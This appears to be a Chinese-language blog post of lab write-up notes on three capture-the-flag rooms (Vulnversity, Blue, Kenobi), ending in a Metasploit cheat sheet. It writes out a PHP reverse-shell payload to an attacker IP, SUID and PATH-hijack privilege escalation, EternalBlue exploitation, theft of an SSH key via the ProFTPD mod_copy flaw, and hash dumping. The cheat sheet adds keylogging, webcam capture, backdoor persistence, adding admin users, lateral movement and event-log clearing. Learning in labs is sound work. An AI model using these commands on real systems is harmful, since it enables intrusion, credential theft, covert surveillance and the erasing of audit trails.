avatar

cindahy

be a hard egg

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Offensive Pentesting①——Getting Started
文章

Offensive Pentesting①——Getting Started

Posted 昨天 Updated 昨天
By Administrator
54~70 min read

Room

Vulnversity

Recoonaissance

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p-  10.82.190.75
#扫描速度(T4:激进模式),强制最小发包速率 500 个 / 秒,最大往返超时时间 300 毫秒
#在网络环境差的时候可以这么操作

 nmap -Pn -sV -p 3128 10.82.190.75 

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- -sV 10.82.190.75

Locating directories using Gobuster

目录扫描

gobuster dir -u  http://10.82.184.179:3333 -w /usr/share/wordlists/dirb/common.txt

找到internal目录,发现可以上传文件。

Compromise the Webserver

文件上传

这里有个简单的文件后缀绕过,phtml可绕过

<?php
  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.209.71/4444 0>&1'");
?>

//这里的ip为虚拟机的turn0 ip

  1. exec() - PHP函数,用于执行系统命令

  2. /bin/bash -c - 调用Bash shell来执行后面的命令字符串

  3. bash -i - 启动一个交互式Bash shell

  4. >& /dev/tcp/YOUR_IP/4444

  • >&:将标准输出和标准错误输出都重定向

  • /dev/tcp/YOUR_IP/4444:这是一个特殊的Bash特性,创建TCP连接到指定IP和端口

  1. 0>&1 - 将标准输入(0)重定向到标准输出(1),使输入也通过网络传输

kali中监听4444端口

nc -nvlp 4444

获得一个完整的交互式Shell

cat /etc/passwd

/etc/passwd 为用户账户数据库,详细解释如下。

# 文件格式:7个字段,冒号分隔
username:password:UID:GID:comment:home_dir:shell

# 实际示例
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
john:x:1000:1000:John Smith:/home/john:/bin/bash

字段

名称

说明

示例

安全意义

1

用户名

登录名,唯一

john

身份标识

2

密码

通常为x

,表示密码在shadow

x

防止密码泄露

3

UID

用户ID

1000

内核识别

4

GID

主组ID

1000

初始权限

5

注释

用户全名或描述

John Smith

管理识别

6

家目录

用户登录后的工作目录

/home/john

数据隔离

7

Shell

登录Shell程序

/bin/bash

交互环境

有/bin/bash 交互环境的通常为管理员

确定网站管理员为bill

到bill的家目录/home/bill 中看到有一个user.txt 文件,cat该文件找到flag。

Privilege Escalation

find / -perm -4000 2>/dev/null
  • 作用:在整个系统中查找设置了SUID位的文件

  • -perm -4000:匹配设置了SUID位的文件(八进制4000)

  • 2>/dev/null:将错误输出(如权限拒绝)重定向到空设备,只显示有权限访问的结果

提权

cd /tmp
cat > root.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'
[Install]
WantedBy=multi-user.target
EOF


/bin/systemctl link /tmp/root.service
  //作用:将临时目录的服务文件链接到systemd管理范围
  //目的:使systemd能够识别这个服务
/bin/systemctl start root
  //作用:启动刚创建的root服务
  //执行效果:执行服务中的命令,在/tmp下创建了一个具有SUID权限的bash副本
/tmp/bash -p
  //作用:运行/tmp下刚创建的SUID bash
  //-p参数:关键点!告诉bash不要放弃特权(privileged mode)
  //效果:因为bash有SUID位且以root权限运行,所以启动的shell具有root权限
whoami
  • 作用:创建名为root.service的systemd服务配置文件

  • 关键点分析:

  • Type=oneshot:服务只运行一次然后退出

  • ExecStart:服务启动时执行的命令

  • cp /bin/bash /tmp/bash:复制bash到/tmp目录

  • chmod +s /tmp/bash:给复制的bash设置SUID位(+s)

  • WantedBy=multi-user.target:指定服务在哪个运行级别启动

拿到flag

Blue

Recon

按照题目要求nmap -p-1000 [ip]扫出端口号低于1000的目录

这里看到445端口是开放的,并且操作系统版本为Microsoft Windows 7 - 10(这常见于Windows 7/2008/8),而 EternalBlue 利用的就是SMBv1协议

所以此系统可能存在的漏洞为ms17-010 永恒之蓝漏洞

Gain Access

使用Metasploit

之前也写过利用Metasploit 复现永恒之蓝的文章(https://cindahy.xyz/archives/1755585720444)

msfconsole //启动
search ms17_010

找到漏洞利用代码在Metasploit中的完整路径

exploit/windows/smb/ms17_010_eternalblue
show options  #拉出设置,找到必选项

设置必选项(payload,rhost,lhost)

ok了

Escalate

# 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background              # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

#  查看会话
sessions
sessions -i 2           # 选择Meterpreter会话

# 提升权限
getsystem               # 尝试提升到SYSTEM
getuid                  # 查看当前用户

Cracking

hashdump

当运行 hashdump 命令时,Meterpreter会:

  1. 访问SAM数据库:从Windows注册表中提取SAM(Security Account Manager)数据库的内容

  2. 获取NTLM哈希:提取用户的NTLM哈希值(密码的加密形式)

  3. 显示格式:输出格式为 用户名:RID:LM哈希:NTLM哈希:::

Find flags!

C:\>dir *flag*.* /s
dir *flag*.* /s
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  01:27 PM                24 flag1.txt
               1 File(s)             24 bytes


 Directory of C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent

03/17/2019  01:26 PM               482 flag1.lnk
03/17/2019  01:30 PM               848 flag2.lnk
03/17/2019  01:32 PM             2,344 flag3.lnk
               3 File(s)          3,674 bytes

 Directory of C:\Users\Jon\Documents

03/17/2019  01:26 PM                37 flag3.txt
               1 File(s)             37 bytes

 Directory of C:\Windows\System32\config

03/17/2019  01:32 PM                34 flag2.txt
               1 File(s)             34 bytes

     Total Files Listed:
               6 File(s)          3,769 bytes
               0 Dir(s)  20,219,310,080 bytes free

flag{access_the_machine}

flag{sam_database_elevated_access}

flag{admin_documents_can_be_valuable}

Kenobi

攻击链逻辑

SMB枚举 → 发现共享 → 下载log.txt → 获取关键信息
    ↓
获得kenobi用户名、SSH密钥位置、FTP版本
    ↓
FTP漏洞 → 复制SSH密钥到/var/tmp
    ↓
NFS挂载 → 从/var/tmp获取密钥
    ↓
SSH登录 → 获得kenobi用户权限

Enumerating Samba for shares

nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- 10.80.158.136

smbclient -L //10.80.158.136 -N  #尝试匿名登录共享

smbclient //10.82.176.31/anonymous   

ls

smbget smb://10.82.176.31/anonymous/log.txt #下载log.txt文件


nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.82.176.31#只扫描 10.82.176.31 的 111 端口,并用 3 个专门的脚本,查出这台机器通过 NFS 共享了哪个目录

Gain initial access with ProFtpd

nmap -sV -p 21 10.82.176.31 

#从log.txt中获取关键信息:
  #用户名kenobi存在
  #SSH私钥位置/home/kenobi/.ssh/id_rsa
  #ProFTPD版本信息(存在漏洞的版本)

# 连接到FTP端口
nc 10.82.176.31 21

# 在FTP连接中执行以下命令
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa #目标选择/var/tmp 因为NFS共享了此文件夹,且cat /etc/exports看到是rw:允许读写的


mkdir /mnt/kenobiNFS
mount 10.82.176.31:/var /mnt/kenobiNFS
cp /mnt/kenobiNFS/tmp/id_rsa .


chmod 600 id_rsa #这里如果设置777由于安全性反而会需要密码登录
ssh -i id_rsa kenobi@10.82.176.31

cat /home/kenobi/user.txt

ProFTPD mod_copy漏洞 (CVE-2015-3306)

  • 漏洞编号:CVE-2015-3306

  • 受影响版本:ProFTPD 1.3.5

mod_copy模块提供了两个命令:
- CPFR (COPY FROM):指定源文件
- CPTO (COPY TO):指定目标文件

漏洞原因:这些命令本应需要认证才能使用,但在受影响版本中,
无需任何认证就可以直接使用这些命令复制服务器上的任意文件。

Privilege Escalation with Path Variable Manipulation

 find / -perm -u=s -type f 2>/dev/null

 # 查看二进制文件中的可读字符串
strings /usr/bin/menu

在输出中看到类似:

curl -I localhost

uname -r

ifconfig

这些命令是相对路径调用,不是绝对路径

所以我们可以路径劫持,将一个恶意的curl写进PATH中,menu按照root权限运行时,它调用curl时不指定完整路径,系统会按照PATH变量的顺序查找,将echo "/bin/bash" 写入,运行menu即可获得root权限。

echo "/bin/bash" >  /tmp/curl # 创建一个名为curl的脚本,内容为启动bash
chmod 777 /tmp/curl  # 添加执行权限
export PATH=/tmp:$PATH   # 将/tmp目录放在PATH最前面
/usr/bin/menu
#得到root权限

whoami
cat /root/root.txt

Key point

Metasploit完整渗透测试流程

第一阶段:信息收集与扫描

# 1. 启动Metasploit
msfconsole

# 2. 搜索可用模块
search smb              # 搜索SMB相关模块
search ms17_010        # 搜索永恒之蓝漏洞

# 3. 使用扫描模块
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 目标IP
run

第二阶段:漏洞利用

# 4. 选择利用模块
use exploit/windows/smb/ms17_010_eternalblue

# 5. 查看并设置参数
show options
show targets           # 查看支持的目标系统
set RHOSTS 目标IP
set LHOST 本机IP
set LPORT 4444

# 6. 选择payload
show payloads
set payload windows/x64/meterpreter/reverse_tcp

# 7. 验证并执行
check                   # 检查目标是否脆弱
exploit                 # 或 run

第三阶段:权限提升

# 8. 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background              # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

# 9. 查看会话
sessions
sessions -i 2           # 选择Meterpreter会话

# 10. 提升权限
getsystem               # 尝试提升到SYSTEM
getuid                  # 查看当前用户

第四阶段:后渗透

# 11. 进程迁移(稳定会话)
ps                      # 查看进程
migrate PID             # 迁移到稳定进程(如explorer.exe)

# 12. 信息收集
sysinfo                 # 系统信息
ifconfig/ipconfig       # 网络配置
route                   # 路由表
arp                     # ARP缓存
netstat                 # 网络连接

# 13. 凭证获取
hashdump                # 获取密码哈希
run post/windows/gather/smart_hashdump  # 高级哈希获取
run post/windows/gather/cachedump       # 缓存凭证
run post/windows/gather/credentials/windows_autologin  # 自动登录凭证

# 14. 键盘记录
keyscan_start           # 开始键盘记录
keyscan_dump            # 导出记录
keyscan_stop            # 停止记录

# 15. 屏幕监控
screenshot              # 截图
run post/windows/gather/screen_spy      # 持续屏幕监控
webcam_list             # 查看摄像头
webcam_snap             # 拍照

# 16. 文件操作
upload /local/file C:\\target\\path     # 上传文件
download C:\\target\\file /local/path    # 下载文件
ls                      # 列出文件
cd                      # 切换目录
pwd                     # 当前路径
cat file.txt            # 查看文件内容

第五阶段:权限维持

# 17. 创建后门
run persistence -U -X -i 30 -p 4444 -r 攻击机IP
# -U: 用户登录时启动
# -X: 系统启动时启动
# -i: 连接间隔

# 18. 添加用户
execute -f cmd.exe -i -c "net user hacker Password123! /add"
execute -f cmd.exe -i -c "net localgroup administrators hacker /add"

# 19. 启用RDP
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp -u 用户名 -p 密码

第六阶段:横向移动

# 20. 内网扫描
run autoroute -s 192.168.1.0/24        # 添加路由
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389
run

# 21. SMB登录尝试
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100-200
set USER_FILE /path/users.txt
set PASS_FILE /path/passwords.txt
run

# 22. PsExec远程执行
use exploit/windows/smb/psexec
set RHOSTS 目标IP
set SMBUSER 用户名
set SMBPASS 密码
set SMBDOMAIN 域名
run

第七阶段:日志清理与退出

# 23. 清理痕迹
clearev                 # 清除事件日志
shell
del C:\path\to\tools.exe  # 删除上传的工具
exit

# 24. 会话管理
sessions -k 1           # 杀死会话1
sessions -K             # 杀死所有会话
exit -y                 # 强制退出

smbclient 命令详解

smbclient 是一个用于访问SMB/CIFS(服务器消息块/通用互联网文件系统)共享的命令行工具,类似于FTP客户端,但用于Windows文件共享和Samba服务器。

smbclient [选项] //服务器/共享名 [密码]
  • 列出共享 -L

# 匿名列出(不提供密码)
smbclient -L //10.82.176.31 -N
  • 连接共享

# 使用工作组
smbclient //10.82.176.31/share -W WORKGROUP -U username
  • 认证选项

-N              # 无密码(匿名连接)
-U username     # 指定用户名
-P password     # 指定密码
-W workgroup    # 指定工作组
-A file         # 从文件读取认证信息
  • 其他有用选项

-p port         # 指定端口(默认445)
-m protocol     # 指定SMB协议版本
-D directory    # 初始目录
-c command      # 执行命令后退出

smbget 是一个类似于 wget 的工具,但用于通过SMB/CIFS协议递归下载文件。它是 smbclient 的补充,更适合批量下载。

# 递归下载(-r 或 --recursive)
smbget -r smb://10.82.176.31/anonymous/

# 或指定输出目录
smbget -r smb://10.82.176.31/anonymous/ -o ./downloaded_files

# 下载特定文件
smbget smb://10.82.176.31/anonymous/log.txt
License:  CC BY 4.0
Share

Further Reading

OLDER

第一部分——Linux基础

NEWER

Recently Updated

  • Offensive Pentesting①——Getting Started
  • 第一部分——Linux基础
  • 计算机组成原理
  • 计算机操作系统
  • 计算机网络核心考点整理总结

Trending Tags

计算机网络 面试 src 安全运营 文件上传 php反序列化 xss csrf ssrf xxe

Contents

©2026 cindahy. Some rights reserved.

Using the Halo theme Chirpy